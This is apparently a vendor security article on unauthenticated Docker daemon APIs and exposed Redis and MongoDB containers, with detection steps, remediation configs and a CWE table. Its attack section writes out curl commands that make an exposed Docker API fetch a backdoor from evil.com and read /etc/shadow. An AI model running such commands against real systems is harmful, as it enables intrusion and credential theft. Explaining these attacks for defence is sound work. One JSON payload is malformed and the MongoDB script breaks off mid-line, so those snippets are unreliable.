Missing Authentication on Docker
How Missing Authentication Manifests in Docker
Missing authentication in Docker environments often appears in exposed management APIs and container orchestration interfaces. The most common Docker-specific vulnerability occurs when the Docker daemon's REST API is left accessible without authentication. By default, Docker listens on a Unix socket, but many deployments mistakenly expose it over TCP without proper access controls.
Consider this vulnerable configuration in /etc/docker/daemon.json:
{
"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]
}
This exposes the Docker API on port 2375 without TLS or authentication, allowing anyone on the network to control containers. An attacker can list containers, create new ones, or execute commands inside running containers:
# List containers
curl http://target:2375/containers/json
# Create a malicious container
curl -X POST http://target:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["wget", "http://evil.com/backdoor"]}'
# Execute commands in existing containers
curl -X POST http://target:2375/containers/<id>/exec \
-H "Content-Type: application/json" \
-d '{"Cmd": ["sh", "-c", "cat /etc/shadow"]}, "AttachStderr": true, "AttachStdout": true}'
Another Docker-specific manifestation occurs in containerized applications that expose management interfaces. Many Docker images include default credentials or no authentication at all for administrative endpoints. For example, Redis containers often expose the Redis CLI on port 6379 without authentication:
version: '3'
services:
redis:
image: redis:latest
ports:
- "6379:6379"
command: redis-server --appendonly yes
This allows any network-connected client to read/write data, execute Lua scripts, or trigger denial-of-service conditions. Similar issues appear in MongoDB (port 27017), Elasticsearch (port 9200), and other data services when deployed without authentication.
Docker Compose files often compound these issues by exposing internal services to the public internet. A development environment might look like:
services:
api:
build: ./api
ports:
- "8080:8080"
environment:
- DATABASE_URL=mongodb://db:27017/api
db:
image: mongo:latest
ports:
- "27017:27017"
Here, the MongoDB instance is exposed directly to the internet without authentication, allowing anyone to access or modify the database.
Docker-Specific Detection
Detecting missing authentication in Docker environments requires examining both the Docker daemon configuration and the exposed services within containers. Start by checking the Docker daemon's listening addresses:
sudo netstat -tlnp | grep docker
# or
sudo ss -tlnp | grep docker
Look for TCP listeners on ports 2375 (unencrypted) or 2376 (TLS). If you see 2375 exposed, the daemon is running without authentication. You can verify this by attempting to connect:
curl http://localhost:2375/version
A successful response indicates an unauthenticated Docker API.
For containerized applications, scan exposed ports for default configurations. Many Docker images include default credentials that should be changed:
| Service | Default Port | Common Vulnerability |
|---|---|---|
| Redis | 6379 | No authentication enabled |
| MongoDB | 27017 | No authentication, data exposure |
| Elasticsearch | 9200 | Unauthenticated search/admin |
| Kubernetes API | 6443 | Missing authentication/authorization |
middleBrick provides Docker-specific scanning that tests these endpoints without requiring credentials. It attempts to connect to common Docker management ports and containerized service APIs, identifying missing authentication patterns:
middlebrick scan http://target:2375
middlebrick scan http://target:6379
middlebrick scan http://target:27017
The scanner tests for unauthenticated access, attempting to retrieve version information, list resources, or execute simple commands. It identifies vulnerabilities like:
- Unauthenticated Docker daemon access
- Redis without AUTH command
- MongoDB without authentication enabled
- Elasticsearch without security plugins
- Unprotected Kubernetes API endpoints
For Docker Compose environments, middleBrick can scan the entire stack by providing the base URL of the deployment. It maps out the exposed services and tests each for authentication requirements, providing a comprehensive security assessment of your containerized application.
Docker-Specific Remediation
Remediating missing authentication in Docker environments requires both Docker daemon configuration changes and application-level security controls. For the Docker daemon itself, always use TLS with client authentication:
{
"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2376"],
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Generate certificates using OpenSSL or Docker's built-in CA functionality. Clients must present valid certificates to connect:
# Server configuration
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem
# Client connection
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=host:2376 version
For containerized applications, enable authentication at the service level. For Redis:
services:
redis:
image: redis:latest
command: redis-server --requirepass ${REDIS_PASSWORD}
environment:
- REDIS_PASSWORD=your-secure-password
ports:
- "6379:6379"
For MongoDB, enable authentication and create an admin user:
services:
mongo:
image: mongo:latest
command: mongod --auth
environment:
- MONGO_INITDB_ROOT_USERNAME=admin
- MONGO_INITDB_ROOT_PASSWORD=${MONGO_PASSWORD}
ports:
- "27017:27017"
Or use a custom initialization script:
#!/bin/bash
mongo <For applications exposing APIs, implement authentication middleware. Using Node.js/Express:
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
app.use(express.json());
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) return res.sendStatus(401);
jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, (err, user) => {
if (err) return res.sendStatus(403);
req.user = user;
next();
});
}
// Protected endpoint
app.get('/api/data', authenticateToken, (req, res) => {
res.json({ data: 'protected resource', user: req.user });
});
Finally, use Docker secrets for managing credentials in production:
services:
app:
build: ./app
secrets:
- redis_password
- mongo_password
secrets:
redis_password:
external: true
mongo_password:
external: true
This ensures credentials aren't stored in version control and are properly managed by Docker's secret management system.
Related CWEs: authentication
| CWE ID | Name | Severity |
|---|---|---|
| CWE-287 | Improper Authentication | CRITICAL |
| CWE-306 | Missing Authentication for Critical Function | CRITICAL |
| CWE-307 | Brute Force | HIGH |
| CWE-308 | Single-Factor Authentication | MEDIUM |
| CWE-309 | Use of Password System for Primary Authentication | MEDIUM |
| CWE-347 | Improper Verification of Cryptographic Signature | HIGH |
| CWE-384 | Session Fixation | HIGH |
| CWE-521 | Weak Password Requirements | MEDIUM |
| CWE-613 | Insufficient Session Expiration | MEDIUM |
| CWE-640 | Weak Password Recovery | HIGH |
Frequently Asked Questions
How can I test if my Docker daemon is accessible without authentication?
Run curl http://localhost:2375/version or curl http://target-ip:2375/version. If you get a JSON response with version information, your Docker daemon is exposed without authentication. You can also check network listeners with sudo ss -tlnp | grep docker to see if port 2375 is listening on 0.0.0.0.
What's the risk of exposing Redis or MongoDB containers without authentication?
Unauthenticated Redis allows anyone to read/write data, execute Lua scripts, trigger denial-of-service via KEYS * commands, or use your server as a DDoS amplifier. Unauthenticated MongoDB exposes all databases to public access, allowing data theft, modification, or deletion. Both can also be used as part of cryptojacking or malware distribution campaigns by attackers.